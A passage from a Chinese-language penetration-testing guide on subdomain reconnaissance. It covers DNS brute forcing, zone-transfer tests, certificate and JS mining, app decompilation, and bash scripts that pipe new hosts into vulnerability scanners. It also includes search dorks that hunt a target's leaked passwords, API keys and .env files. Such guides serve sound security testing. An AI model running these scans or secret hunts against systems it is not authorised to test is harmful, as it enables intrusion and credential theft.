  ├── 注意搜索结果中的跳转域名
  └── 查看缓存页面(可能包含已下线域名)

  【空间搜索引擎】

  Fofa:
  ├── domain="example.com"
  ├── host=".example.com"
  ├── cert="example.com"
  ├── icon_hash="xxx"(通过favicon关联)
  └── body="Copyright example"(通过页面内容关联)

  Shodan:
  ├── hostname:example.com
  ├── ssl.cert.subject.cn:example.com
  ├── http.html:"example.com"
  ├── org:"Company Name"
  └── asn:ASXXXX(通过ASN关联)

  Hunter/鹰图:
  ├── domain.suffix="example.com"
  ├── icp.name="公司名称"
  ├── web.icon="xxx"
  └── web.body="特征内容"

  ZoomEye:
  ├── site:example.com
  ├── hostname:example.com
  └── organization:"Company Name"

  【高级技巧:Favicon Hash关联】

  计算目标站点favicon的hash → 在空间搜索引擎搜索相同hash:
  ├── 相同favicon可能属于同一组织
  ├── 可发现隐藏的子域名或关联系统
  └── 工具:https://github.com/devanshbatham/FavFreak

  Python计算favicon hash:
  import mmh3
  import requests
  import codecs
  response = requests.get('https://example.com/favicon.ico')
  favicon = codecs.encode(response.content, 'base64')
  hash = mmh3.hash(favicon)
  print(f'icon_hash="{hash}"')

  1.4 代码仓库与泄露数据

  【GitHub高级搜索】

  基础搜索:
  ├── "example.com"
  ├── "api.example.com"
  ├── org:exampleorg

  高级搜索:
  ├── "example.com" password
  ├── "example.com" secret
  ├── "example.com" api_key
  ├── "example.com" database
  ├── "example.com" config
  ├── filename:.env "example.com"
  ├── filename:config "example.com"
  └── extension:yaml "example.com"

  关联提取:
  ├── 从代码中提取域名和URL
  ├── 发现内部域名(internal.example.com)
  ├── 发现API域名(api-internal.example.com)
  └── 发现配置文件中的域名

  工具自动化:
  ├── GitDorker: 自动化GitHub搜索
  ├── truffleHog: 扫描敏感信息
  ├── gitrob: 扫描组织仓库
  └── gitleaks: 检测密钥泄露

  【其他代码平台】

  ├── GitLab: site:gitlab.com "example.com"
  ├── Gitee: site:gitee.com "example.com"
  ├── Bitbucket: site:bitbucket.org "example.com"
  ├── SourceForge: site:sourceforge.net "example.com"
  └── Pastebin: site:pastebin.com "example.com"

  【网盘泄露】

  搜索引擎:
  ├── site:pan.baidu.com "example"
  ├── site:drive.google.com "example"
  ├── 凌风云网盘搜索
  └── 其他网盘搜索引擎

  关联:泄露的文档中可能包含内部域名信息

  ---
  第二章:主动收集高级技巧

  2.1 DNS爆破高级策略

  【字典优化策略】

  层级1:通用字典
  ├── 常见子域名:www, mail, ftp, admin, test, dev...
  ├── 来源:SecLists, Assetnote Wordlists
  └── 大小:1万-10万条

  层级2:行业定制字典
  根据目标行业添加:
  ├── 金融:pay, payment, bank, trade, fund, wealth...
  ├── 电商:shop, mall, order, cart, goods, item...
  ├── 教育:edu, learn, course, student, teacher...
  ├── 医疗:health, medical, doctor, patient, hospital...
  └── 游戏:game, play, server, zone, battle...

  层级3:技术栈字典
  根据识别的技术栈:
  ├── Java:jenkins, nexus, sonar, gitlab, harbor...
  ├── 运维:monitor, grafana, prometheus, zabbix, k8s...
  ├── 数据:hadoop, spark, kafka, redis, mysql, es...
  └── 云原生:istio, consul, vault, rancher...

  层级4:目标定制字典
  根据已发现的子域名规律:
  ├── 发现 api1 → 生成 api2, api3, api4...
  ├── 发现 bj-server → 生成 sh-server, gz-server, sz-server...
  ├── 发现 test-api → 生成 dev-api, uat-api, pre-api...
  └── 提取命名规律,批量生成

  【字典生成工具】

  altdns(排列组合):
  └── altdns -i subdomains.txt -o permutations.txt -w words.txt

  dnsgen(智能生成):
  └── cat subdomains.txt | dnsgen - | massdns -r resolvers.txt -o J

  goaltdns:
  └── goaltdns -w subdomains.txt -p permutations.txt

  【爆破优化策略】

  DNS解析器优化:
  ├── 使用可靠的公共DNS:8.8.8.8, 1.1.1.1, 114.114.114.114
  ├── 使用大量DNS解析器并行(避免限速)
  ├── 定期更新有效解析器列表
  └── 工具:dnsvalidator 验证解析器

  速度与准确性平衡:
  ├── 首轮快速扫描(低并发,大字典)
  ├── 二轮验证扫描(确认存活)
  └── 三轮深度扫描(针对发现的域名递归)

  2.2 递归子域名发现

  【多级子域名爆破】

  一级子域名:xxx.example.com
  二级子域名:xxx.api.example.com
  三级子域名:xxx.internal.api.example.com

  发现 api.example.com → 关联递归:
  ├── 对 api.example.com 再次进行子域名爆破
  ├── 可能发现:v1.api.example.com, v2.api.example.com
  ├── 继续递归:internal.v1.api.example.com
  └── 直到无新发现为止

  工具配置:
  subfinder -d api.example.com -recursive
  amass enum -d example.com -rf resolvers.txt -brute -w wordlist.txt -norecursive false

  【自动化递归脚本】

  #!/bin/bash
  # 递归子域名发现
  TARGET=$1
  DEPTH=3
  WORDLIST="wordlist.txt"

  function recursive_enum() {
      local domain=$1
      local depth=$2
      
      if [ $depth -eq 0 ]; then
          return
      fi
      
      echo "[*] Enumerating $domain (depth: $depth)"
      
      # 子域名爆破
      subfinder -d $domain -silent >> all_subs.txt
      dnsx -d $domain -w $WORDLIST -silent >> all_subs.txt

      # 获取新发现的子域名
      new_subs=$(cat all_subs.txt | sort -u | grep "\\.$domain$")

      # 对每个新发现的子域名递归
      for sub in $new_subs; do
          recursive_enum $sub $((depth-1))
      done
  }

  recursive_enum $TARGET $DEPTH
  sort -u all_subs.txt > final_subs.txt

  2.3 DNS域传送与配置错误

  【DNS域传送测试】

  手动测试:
  dig @ns1.example.com example.com axfr

  批量测试:
  for ns in $(dig example.com NS +short); do
      echo "Testing $ns"
      dig @$ns example.com axfr
  done

  工具:
  dnsenum example.com
  dnsrecon -d example.com -t axfr

  【DNS配置错误利用】

  NSEC Walking(DNSSEC配置错误):
  ├── 如果目标启用DNSSEC但配置不当
  ├── 可以通过NSEC记录遍历所有子域名
  └── 工具:nsec3walker, ldns-walk

  通配符DNS检测:
  ├── 如果 *.example.com 解析到同一IP
  ├── 需要过滤这类泛解析结果
  └── 通过对比响应内容判断真实子域名

  命令:
  # 检测泛解析
  dig randomnotexist123.example.com

  # 如果返回有效IP,说明存在泛解析
  # 需要在后续扫描中过滤

  2.4 证书扫描发现

  【主动证书扫描】

  对IP段进行证书扫描,提取证书中的域名:

  masscan -p443 1.2.3.0/24 --rate 1000 -oL ips.txt

  # 提取证书中的域名
  for ip in $(cat ips.txt | grep open | awk '{print $4}'); do
      echo | openssl s_client -connect $ip:443 2>/dev/null | \
      openssl x509 -noout -text 2>/dev/null | \
      grep -oP '(?<=DNS:|CN=)[^,\s]+' >> cert_domains.txt
  done

  工具自动化:
  ├── tlsx: 批量证书扫描
  ├── zgrab2: 证书抓取
  └── cero: 证书域名提取

  tlsx -l ips.txt -san -cn -silent -o cert_subs.txt

  ---
  第三章:关联发现高级技巧

  3.1 JS文件深度挖掘

  【JS文件中的宝藏】

  JS文件可能包含:
  ├── API接口地址(子域名)
  ├── 内部服务地址
  ├── 第三方服务域名
  ├── 隐藏的功能入口
  ├── 注释中的开发域名
  └── 配置信息

  【JS收集方法】

  爬取所有JS文件:
  ├── 工具:gospider, hakrawler, katana
  ├── gospider -s https://example.com -d 3 -c 10 -t 20
  └── 输出所有发现的JS文件URL

  从Wayback Machine获取历史JS:
  ├── waybackurls example.com | grep "\.js$"
  ├── 历史JS可能包含已删除的敏感信息
  └── 下载并分析历史版本

  【JS分析提取】

  工具链:
  ├── LinkFinder: 提取URL和端点
  ├── JSFinder: 提取子域名和URL
  ├── SecretFinder: 提取敏感信息
  ├── SubDomainizer: 专门提取子域名
  └── xnLinkFinder: 全面提取

  LinkFinder:
  python linkfinder.py -i https://example.com/static/app.js -o cli

  SubDomainizer:
  python SubDomainizer.py -u https://example.com -o output.txt

  批量分析:
  cat js_urls.txt | while read url; do
      python linkfinder.py -i "$url" -o cli >> endpoints.txt
  done

  【高级技巧:Webpack源码还原】

  如果发现Webpack打包的JS:
  ├── 查找 .map 源码映射文件
  ├── xxx.js → xxx.js.map
  ├── 使用工具还原源码:https://github.com/AshKyd/source-map-explorer
  └── 还原的源码中可能有更多敏感信息

  # 检查是否存在source map
  curl -s https://example.com/static/app.js | grep -o "//# sourceMappingURL=.*"

  3.2 响应分析关联

  【HTTP响应头关联】

  CSP头中的域名:
  ├── Content-Security-Policy 头中列出允许的域名
  ├── 这些域名可能是关联的子域名或第三方服务
  └── 示例:script-src 'self' *.cdn.example.com api.example.com

  CORS头中的域名:
  ├── Access-Control-Allow-Origin 头
  ├── 可能暴露内部域名
  └── 尝试不同的Origin头观察响应

  Location头(重定向):
  ├── 重定向可能指向其他子域名
  ├── 3xx响应中的Location头
  └── 登录/注销后的跳转地址

  其他关联头:
  ├── Link头中的preload域名
  ├── Set-Cookie中的domain属性
  └── X-Forwarded-For/X-Real-IP等代理头

  【响应内容关联】

  HTML中的域名提取:
  ├── href/src属性中的URL
  ├── meta标签中的URL
  ├── 注释中的URL(可能是测试环境)
  ├── 表单action中的URL
  └── iframe/script标签

  正则提取:
  grep -oP 'https?://[a-zA-Z0-9][-a-zA-Z0-9]*\.example\.com' response.html

  内联脚本中的配置:
  ├── var config = {...} 中的API地址
  ├── window.ENV = {...} 中的环境变量
  └── BASE_URL, API_ENDPOINT等常量

  3.3 关联域名发现

  【IP反查关联】

  发现目标IP → 关联:
  ├── 反查同IP所有域名
  ├── 查询同C段所有域名
  ├── 这些可能是关联公司或业务的域名

  工具:
  ├── https://viewdns.info/reverseip/
  ├── https://site.ip138.com/
  ├── https://webscan.cc/
  └── bing: ip:1.2.3.4

  【ASN关联】

  查询目标ASN:
  ├── https://bgp.he.net/
  ├── whois -h whois.radb.net -- '-i origin ASXXXXX'
  └── 获取整个IP段范围

  对IP段进行反查:
  ├── 发现该组织的所有域名
  ├── 可能包含未公开的内部域名
  └── 边缘业务域名

  【WHOIS关联】

  注册邮箱反查:
  ├── 通过注册邮箱查找同一人注册的其他域名
  ├── https://viewdns.info/reversewhois/
  └── https://whoxy.com/

  注册人/组织反查:
  ├── 通过注册人姓名查找
  ├── 通过注册组织查找
  └── 通过注册商查找

  【SSL证书关联】

  证书中的组织信息:
  ├── 相同组织的其他证书
  ├── censys: parsed.subject.organization:"Company"
  └── 可能发现关联域名

  证书序列号/指纹:
  ├── 相同CA签发的证书
  ├── 可能发现关联域名
  └── 特别是内部CA签发的证书

  3.4 移动APP与小程序

  【APP逆向提取域名】

  APK反编译:
  ├── 工具:apktool, jadx
  ├── apktool d app.apk -o output
  ├── jadx app.apk -d output
  └── grep -rn "example.com" output/

  提取位置:
  ├── strings.xml 配置文件
  ├── Java/Kotlin源码
  ├── assets目录的配置文件
  ├── so库中的硬编码
  └── SharedPreferences配置

  iOS IPA分析:
  ├── 解压IPA文件
  ├── 分析Plist配置
  ├── 提取二进制中的字符串
  └── strings App.app/App | grep "example.com"

  【小程序分析】

  微信小程序:
  ├── 工具:wxapkg解包工具
  ├── 解包后分析JS代码
  ├── 提取API接口地址
  └── 可能发现小程序专用的API域名

  小程序抓包:
  ├── 配置代理抓取小程序流量
  ├── 发现实际调用的API域名
  └── 这些域名可能未在主站公开

  【API接口关联】

  从APP/小程序中发现的API:
  ├── api.example.com
  ├── m-api.example.com
  ├── app-api.example.com
  ├── gateway.example.com
  └── 这些API域名可能有更多子域名

  ---
  第四章:智能推测技巧

  4.1 命名规律分析

  【模式识别】

  收集足够子域名后,分析命名规律:

  示例发现:
  ├── api-bj.example.com
  ├── api-sh.example.com
  ├── web-bj.example.com
  └── 推测:api-gz, api-sz, web-sh, web-gz...

  常见命名模式:
  ├── 地区模式:bj/sh/gz/sz/cd/wh + 服务名
  ├── 环境模式:dev/test/uat/staging/pre/prod + 服务名
  ├── 版本模式:v1/v2/v3 或 api1/api2/api3
  ├── 数字模式:server01/server02 或 node-1/node-2
  └── 时间模式:2023/2024 或 new/old

  【自动化推测】

  altdns工具:
  # 输入已知子域名,输出排列组合
  altdns -i known_subs.txt -o permutations.txt -w patterns.txt

  patterns.txt示例:
  dev
  test
  staging
  prod
  internal
  -v2
  -new
  01
  02

  dnsgen工具:
  # 更智能的排列组合
  cat known_subs.txt | dnsgen - > permutations.txt

  # 然后验证
  cat permutations.txt | massdns -r resolvers.txt -o J > results.json

  4.2 业务逻辑推测

  【根据业务推测子域名】

  发现主站是电商 → 关联推测:
  ├── 订单相关:order, orders, trade, transaction
  ├── 支付相关:pay, payment, checkout, billing
  ├── 用户相关:user, member, account, passport
  ├── 商品相关:product, item, goods, sku
  ├── 物流相关:logistics, shipping, delivery, express
  ├── 客服相关:service, support, help, cs
  ├── 营销相关:activity, promotion, coupon, marketing
  └── 数据相关:data, analytics, bi, report

  发现主站是金融 → 关联推测:
  ├── 账户:account, wallet, balance, asset
  ├── 交易:trade, trading, exchange, deal
  ├── 风控:risk, security, antiFraud, monitor
  ├── 清算:clearing, settlement, reconciliation
  └── 报表:report, statement, bill

  【根据功能推测】

  发现 login.example.com → 关联推测:
  ├── register.example.com
  ├── passport.example.com
  ├── sso.example.com
  ├── oauth.example.com
  ├── auth.example.com
  └── account.example.com

  发现 api.example.com → 关联推测:
  ├── gateway.example.com
  ├── openapi.example.com
  ├── developer.example.com
  ├── docs.example.com(API文档)
  └── sandbox.example.com(沙箱环境)

  4.3 技术栈推测

  【根据技术栈推测】

  识别到Java技术栈 → 关联推测:
  ├── jenkins.example.com
  ├── nexus.example.com
  ├── sonar.example.com
  ├── gitlab.example.com
  ├── harbor.example.com
  ├── nacos.example.com
  ├── apollo.example.com
  ├── eureka.example.com
  └── zipkin.example.com

  识别到Kubernetes → 关联推测:
  ├── k8s.example.com
  ├── kubernetes.example.com
  ├── dashboard.example.com
  ├── grafana.example.com
  ├── prometheus.example.com
  ├── alertmanager.example.com
  ├── rancher.example.com
  └── istio.example.com

  识别到阿里云 → 关联推测:
  ├── oss.example.com(对象存储)
  ├── cdn.example.com
  ├── slb.example.com
  ├── rds.example.com
  └── 阿里云相关服务域名

  ---
  第五章:持续监控与自动化

  5.1 新子域名监控

  【定时监控脚本】

  #!/bin/bash
  # 每日子域名监控
  TARGET="example.com"
  DATE=$(date +%Y%m%d)
  PREV_FILE="subs_prev.txt"
  CURR_FILE="subs_$DATE.txt"
  WEBHOOK="https://your-webhook-url"

  # 收集子域名
  subfinder -d $TARGET -silent > $CURR_FILE
  amass enum -d $TARGET -passive >> $CURR_FILE
  sort -u $CURR_FILE -o $CURR_FILE

  # 对比发现新增
  if [ -f $PREV_FILE ]; then
      NEW_SUBS=$(comm -13 $PREV_FILE $CURR_FILE)
      if [ -n "$NEW_SUBS" ]; then
          echo "发现新子域名:"
          echo "$NEW_SUBS"
          # 发送通知
          curl -X POST $WEBHOOK -d "新增子域名: $NEW_SUBS"
          # 立即进行存活检测和漏洞扫描
          echo "$NEW_SUBS" | httpx -silent | nuclei -t nuclei-templates/ -o new_vulns.txt
      fi
  fi

  # 更新历史记录
  cp $CURR_FILE $PREV_FILE

  【专业监控工具】

  Sublert:
  ├── 基于证书透明度的实时监控
  ├── 发现新子域名时邮件通知
  └── https://github.com/yassineaboukir/sublert

  Notify(配合其他工具):
  ├── subfinder | notify -silent
  ├── 支持多种通知方式:Slack/Discord/Telegram
  └── https://github.com/projectdiscovery/notify

  5.2 完整自动化流程

  【自动化工作流】

  #!/bin/bash
  # 完整的子域名收集自动化

  TARGET=$1
  OUTPUT_DIR="results_$TARGET_$(date +%Y%m%d)"
  mkdir -p $OUTPUT_DIR

  echo "[*] 目标: $TARGET"

  # 1. 被动收集
  echo "[*] 阶段1: 被动收集"
  subfinder -d $TARGET -all -o $OUTPUT_DIR/subfinder.txt
  amass enum -d $TARGET -passive -o $OUTPUT_DIR/amass.txt
  # crt.sh
  curl -s "https://crt.sh/?q=%.$TARGET&output=json" | jq -r '.[].name_value' | sort -u > $OUTPUT_DIR/crtsh.txt

  # 2. 主动爆破
  echo "[*] 阶段2: 主动爆破"
  dnsx -d $TARGET -w /path/to/wordlist.txt -o $OUTPUT_DIR/dnsx.txt

  # 3. 合并去重
  echo "[*] 阶段3: 合并去重"
  cat $OUTPUT_DIR/*.txt | sort -u > $OUTPUT_DIR/all_subs.txt
  echo "发现 $(wc -l < $OUTPUT_DIR/all_subs.txt) 个子域名"

  # 4. 存活检测
  echo "[*] 阶段4: 存活检测"
  httpx -l $OUTPUT_DIR/all_subs.txt -status-code -title -tech-detect -o $OUTPUT_DIR/alive.txt

  # 5. 排列组合生成新子域名
  echo "[*] 阶段5: 智能推测"
  cat $OUTPUT_DIR/all_subs.txt | dnsgen - | dnsx -silent >> $OUTPUT_DIR/all_subs.txt
  sort -u $OUTPUT_DIR/all_subs.txt -o $OUTPUT_DIR/all_subs.txt

  # 6. 再次存活检测
  httpx -l $OUTPUT_DIR/all_subs.txt -status-code -title -o $OUTPUT_DIR/final_alive.txt

  # 7. 端口扫描
  echo "[*] 阶段6: 端口扫描"
  cat $OUTPUT_DIR/final_alive.txt | awk '{print $1}' | dnsx -silent -a -resp-only | sort -u > $OUTPUT_DIR/ips.txt
  nmap -sT -Pn -p 80,443,8080,8443,8000,8888,9000 -iL $OUTPUT_DIR/ips.txt -oN $OUTPUT_DIR/nmap.txt

  # 8. 指纹识别
  echo "[*] 阶段7: 指纹识别"
  cat $OUTPUT_DIR/final_alive.txt | awk '{print $1}' > $OUTPUT_DIR/urls.txt
  nuclei -l $OUTPUT_DIR/urls.txt -t nuclei-templates/technologies/ -o $OUTPUT_DIR/tech.txt

  # 9. 生成报告
  echo "[*] 生成报告"
  echo "=== 子域名收集报告 ===" > $OUTPUT_DIR/report.txt
  echo "目标: $TARGET" >> $OUTPUT_DIR/report.txt
  echo "时间: $(date)" >> $OUTPUT_DIR/report.txt
  echo "总子域名: $(wc -l < $OUTPUT_DIR/all_subs.txt)" >> $OUTPUT_DIR/report.txt
  echo "存活域名: $(wc -l < $OUTPUT_DIR/final_alive.txt)" >> $OUTPUT_DIR/report.txt
  echo "" >> $OUTPUT_DIR/report.txt
  echo "=== 存活列表 ===" >> $OUTPUT_DIR/report.txt
  cat $OUTPUT_DIR/final_alive.txt >> $OUTPUT_DIR/report.txt

  echo "[*] 完成! 结果保存在 $OUTPUT_DIR/"

  ---
  第六章:工具链与最佳实践

  6.1 推荐工具组合

  【核心工具组合】

  被动收集:
  ├── subfinder(综合被动收集)
  ├── amass(功能最全)
  ├── assetfinder(快速)
  └── findomain(多源)

  主动爆破:
  ├── massdns(最快)
  ├── dnsx(ProjectDiscovery出品)
  ├── shuffledns(massdns包装)
  └── puredns(智能过滤)

  关联发现:
  ├── gospider(爬虫+JS提取)
  ├── hakrawler(爬虫)
  ├── katana(新一代爬虫)
  └── gau(URL聚合)

  智能生成:
  ├── altdns(排列组合)
  ├── dnsgen(智能生成)
  ├── dmut(变异)
  └── regulator(模式学习)

  存活检测:
  ├── httpx(综合检测)
  ├── httprobe(快速)
  └── meg(批量请求)

  【一键安装】

  # ProjectDiscovery全家桶
  go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
  go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest
  go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
  go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
  go install -v github.com/projectdiscovery/katana/cmd/katana@latest

  # 其他工具
  go install -v github.com/tomnomnom/assetfinder@latest
  go install -v github.com/tomnomnom/waybackurls@latest
  go install -v github.com/hakluke/hakrawler@latest

  6.2 效率提升技巧

  【DNS解析器优化】

  收集可用解析器:
  ├── dnsvalidator -tL https://public-dns.info/nameservers.txt -threads 100 -o resolvers.txt
  ├── 定期更新解析器列表
  └── 使用多地区解析器避免地域限制

  【并发与速度】

  massdns高速扫描:
  massdns -r resolvers.txt -t A -o J -w results.json domains.txt -s 15000

  puredns过滤泛解析:
  puredns resolve domains.txt -r resolvers.txt -w resolved.txt

  【结果去噪】

  过滤泛解析:
  ├── 检测通配符DNS
  ├── 对比响应内容过滤相同页面
  └── 使用puredns自动过滤

  过滤CDN:
  ├── 识别CDN IP
  ├── 这些可能是共享资源
  └── 需要找到真实IP

  【时间管理】

  小目标(1小时):
  ├── subfinder + amass被动
  ├── httpx存活检测
  └── 基础字典爆破

  中目标(半天):
  ├── 完整被动收集
  ├── 多字典爆破
  ├── JS文件分析
  ├── 智能排列组合
  └── 完整存活检测

  大目标(持续):
  ├── 建立监控
  ├── 定期重新收集
  ├── 关联APP/小程序分析
  └── 深度JS分析

  ---
  快速参考卡

  ┌────────────────────────────────────────────────────────────┐
  │                子域名收集速查表                              │
  ├────────────────────────────────────────────────────────────┤
  │ 被动收集:                                                   │
  │   subfinder -d target.com -all                             │
  │   amass enum -d target.com -passive                        │
  │   curl "https://crt.sh/?q=%.target.com&output=json"       │
  ├────────────────────────────────────────────────────────────┤
  │ 主动爆破:                                                   │
  │   dnsx -d target.com -w wordlist.txt                       │
  │   massdns -r resolvers.txt -o J domains.txt                │
  ├────────────────────────────────────────────────────────────┤
  │ 存活检测:                                                   │
  │   httpx -l subs.txt -status-code -title -tech-detect      │
  ├────────────────────────────────────────────────────────────┤
  │ 智能生成:                                                   │
  │   cat subs.txt | dnsgen - | dnsx -silent                   │
  │   altdns -i subs.txt -o perms.txt -w patterns.txt         │
  ├────────────────────────────────────────────────────────────┤
  │ JS提取:                                                     │
  │   katana -u https://target.com -jc | grep "\.js$"         │
  │   cat js_urls.txt | while read u; do                       │
  │     python linkfinder.py -i "$u" -o cli; done             │
  ├────────────────────────────────────────────────────────────┤
  │ 高价值目标关键词:                                           │
  │   admin, api, dev, test, staging, internal, vpn,          │
  │   jenkins, gitlab, jira, confluence, oa, erp, crm         │
  └────────────────────────────────────────────────────────────┘

 


Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐